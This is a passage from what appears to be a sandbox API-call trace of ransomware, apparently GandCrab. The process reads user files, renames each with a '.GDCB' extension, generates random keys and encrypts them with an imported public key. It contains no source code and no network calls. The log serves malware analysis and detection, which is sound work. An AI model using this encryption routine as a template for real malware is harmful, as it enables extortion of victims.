Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\Tiles\\pin-314712940\\msapplication.xml" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\tiles\\pin-314712940\\msapplication.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0197.679] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x63c0000 [0197.681] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x63d0000 [0197.682] ReadFile (in: hFile=0x514, lpBuffer=0x63d0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x63d0000*, lpNumberOfBytesRead=0x285d3e8*=0x1a1, lpOverlapped=0x0) returned 1 [0197.690] VirtualAlloc (lpAddress=0x0, dwSize=0x1b0, flAllocationType=0x3000, flProtect=0x4) returned 0x64e0000 [0197.730] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\Tiles\\pin-314712940\\msapplication.xml" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\tiles\\pin-314712940\\msapplication.xml"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\Tiles\\pin-314712940\\msapplication.xml.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\tiles\\pin-314712940\\msapplication.xml.gdcb")) returned 1 [0197.743] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4760) returned 1 [0197.745] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0197.745] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0197.745] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0197.745] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0197.745] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4540) returned 1 [0197.747] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0197.747] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0197.747] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0197.748] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0197.748] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0197.750] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x5089178) returned 1 [0197.750] CryptGetKeyParam (in: hKey=0x5089178, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0197.750] CryptEncrypt (in: hKey=0x5089178, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63a0000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x63a0000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0197.750] GetLastError () returned 0x0 [0197.750] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0197.750] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0197.752] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x50891f8) returned 1 [0197.752] CryptGetKeyParam (in: hKey=0x50891f8, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0197.752] CryptEncrypt (in: hKey=0x50891f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63b0000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x63b0000*, pdwDataLen=0x285d630*=0x100) returned 1 [0197.752] GetLastError () returned 0x0 [0197.752] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0197.752] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\VersionManager\\versionlist.xml" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\versionmanager\\versionlist.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0197.754] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x63c0000 [0197.756] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x63d0000 [0197.757] ReadFile (in: hFile=0x510, lpBuffer=0x63d0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x63d0000*, lpNumberOfBytesRead=0x285d670*=0x3866, lpOverlapped=0x0) returned 1 [0197.779] VirtualAlloc (lpAddress=0x0, dwSize=0x3870, flAllocationType=0x3000, flProtect=0x4) returned 0x64e0000 [0197.783] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\VersionManager\\versionlist.xml" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\versionmanager\\versionlist.xml"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\VersionManager\\versionlist.xml.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\versionmanager\\versionlist.xml.gdcb")) returned 1 [0197.835] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4540) returned 1 [0197.837] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0197.838] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0197.838] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0197.838] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0197.838] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0197.839] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0197.840] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0197.840] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0197.840] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0197.840] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0197.843] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x5089838) returned 1 [0197.843] CryptGetKeyParam (in: hKey=0x5089838, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0197.843] CryptEncrypt (in: hKey=0x5089838, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63a0000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x63a0000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0197.843] GetLastError () returned 0x0 [0197.843] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0197.843] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4430) returned 1 [0197.845] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x50893b8) returned 1 [0197.845] CryptGetKeyParam (in: hKey=0x50893b8, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0197.845] CryptEncrypt (in: hKey=0x50893b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63b0000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x63b0000*, pdwDataLen=0x285d630*=0x100) returned 1 [0197.845] GetLastError () returned 0x0 [0197.845] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0197.845] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\16.0\\officec2rclient.exe_Rules.xml" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\16.0\\officec2rclient.exe_rules.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0197.847] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x63c0000 [0197.848] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x63d0000 [0197.849] ReadFile (in: hFile=0x510, lpBuffer=0x63d0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x63d0000*, lpNumberOfBytesRead=0x285d670*=0x63d0, lpOverlapped=0x0) returned 1 [0197.856] VirtualAlloc (lpAddress=0x0, dwSize=0x63d0, flAllocationType=0x3000, flProtect=0x4) returned 0x64e0000 [0197.861] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\16.0\\officec2rclient.exe_Rules.xml" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\16.0\\officec2rclient.exe_rules.xml"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\16.0\\officec2rclient.exe_Rules.xml.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\16.0\\officec2rclient.exe_rules.xml.gdcb")) returned 1 [0197.865] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4760) returned 1 [0197.867] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0197.867] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0197.868] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0197.868] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0197.868] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4430) returned 1 [0197.869] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0197.870] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0197.870] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0197.870] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0197.870] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4760) returned 1 [0197.872] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x50897f8) returned 1 [0197.872] CryptGetKeyParam (in: hKey=0x50897f8, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0197.872] CryptEncrypt (in: hKey=0x50897f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63a0000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x63a0000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0197.872] GetLastError () returned 0x0 [0197.872] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0197.872] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0197.874] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x50893f8) returned 1 [0197.874] CryptGetKeyParam (in: hKey=0x50893f8, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0197.874] CryptEncrypt (in: hKey=0x50893f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63b0000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x63b0000*, pdwDataLen=0x285d630*=0x100) returned 1 [0197.875] GetLastError () returned 0x0 [0197.875] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0197.875] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\16.0\\officeclicktorun.exe_Rules.xml" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\16.0\\officeclicktorun.exe_rules.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0197.876] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x63c0000 [0197.878] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x63d0000 [0197.879] ReadFile (in: hFile=0x510, lpBuffer=0x63d0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x63d0000*, lpNumberOfBytesRead=0x285d670*=0x6c70, lpOverlapped=0x0) returned 1 [0197.886] VirtualAlloc (lpAddress=0x0, dwSize=0x6c70, flAllocationType=0x3000, flProtect=0x4) returned 0x64e0000 [0197.890] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\16.0\\officeclicktorun.exe_Rules.xml" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\16.0\\officeclicktorun.exe_rules.xml"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\16.0\\officeclicktorun.exe_Rules.xml.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\16.0\\officeclicktorun.exe_rules.xml.gdcb")) returned 1 [0197.921] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4430) returned 1 [0197.923] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0197.924] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0197.924] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0197.924] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0197.924] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0197.925] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0197.926] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0197.926] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0197.926] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0197.926] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4430) returned 1 [0197.928] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x50890f8) returned 1 [0197.928] CryptGetKeyParam (in: hKey=0x50890f8, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0197.928] CryptEncrypt (in: hKey=0x50890f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63a0000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x63a0000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0197.928] GetLastError () returned 0x0 [0197.928] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0197.929] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4430) returned 1 [0197.930] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x50894f8) returned 1 [0197.930] CryptGetKeyParam (in: hKey=0x50894f8, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0197.930] CryptEncrypt (in: hKey=0x50894f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63b0000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x63b0000*, pdwDataLen=0x285d630*=0x100) returned 1 [0197.931] GetLastError () returned 0x0 [0197.931] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0197.931] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.5892.0626\\AutoPlayLogo.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.5892.0626\\autoplaylogo.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0197.932] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x63c0000 [0197.934] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x63d0000 [0197.935] ReadFile (in: hFile=0x510, lpBuffer=0x63d0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x63d0000*, lpNumberOfBytesRead=0x285d670*=0x1450, lpOverlapped=0x0) returned 1 [0197.942] VirtualAlloc (lpAddress=0x0, dwSize=0x1450, flAllocationType=0x3000, flProtect=0x4) returned 0x64e0000 [0197.947] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.5892.0626\\AutoPlayLogo.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.5892.0626\\autoplaylogo.png"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.5892.0626\\AutoPlayLogo.png.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.5892.0626\\autoplaylogo.png.gdcb")) returned 1 [0197.951] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4980) returned 1 [0197.952] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0197.953] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0197.953] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0197.953] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0197.953] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4980) returned 1 [0197.955] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0197.955] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0197.955] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0197.955] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0197.956] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4540) returned 1 [0197.959] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x5089138) returned 1 [0197.959] CryptGetKeyParam (in: hKey=0x5089138, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0197.959] CryptEncrypt (in: hKey=0x5089138, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63a0000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x63a0000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0197.959] GetLastError () returned 0x0 [0197.959] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0197.959] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0197.961] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x5089078) returned 1 [0197.964] CryptGetKeyParam (in: hKey=0x5089078, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0197.964] CryptEncrypt (in: hKey=0x5089078, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63b0000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x63b0000*, pdwDataLen=0x285d630*=0x100) returned 1 [0197.964] GetLastError () returned 0x0 [0197.964] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0197.964] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.5892.0626\\AutoPlayOptIn.gif" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.5892.0626\\autoplayoptin.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0197.966] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x67c0000 [0197.967] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x67d0000 [0197.968] ReadFile (in: hFile=0x510, lpBuffer=0x67d0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x67d0000*, lpNumberOfBytesRead=0x285d670*=0x5db10, lpOverlapped=0x0) returned 1 [0197.976] VirtualAlloc (lpAddress=0x0, dwSize=0x5db10, 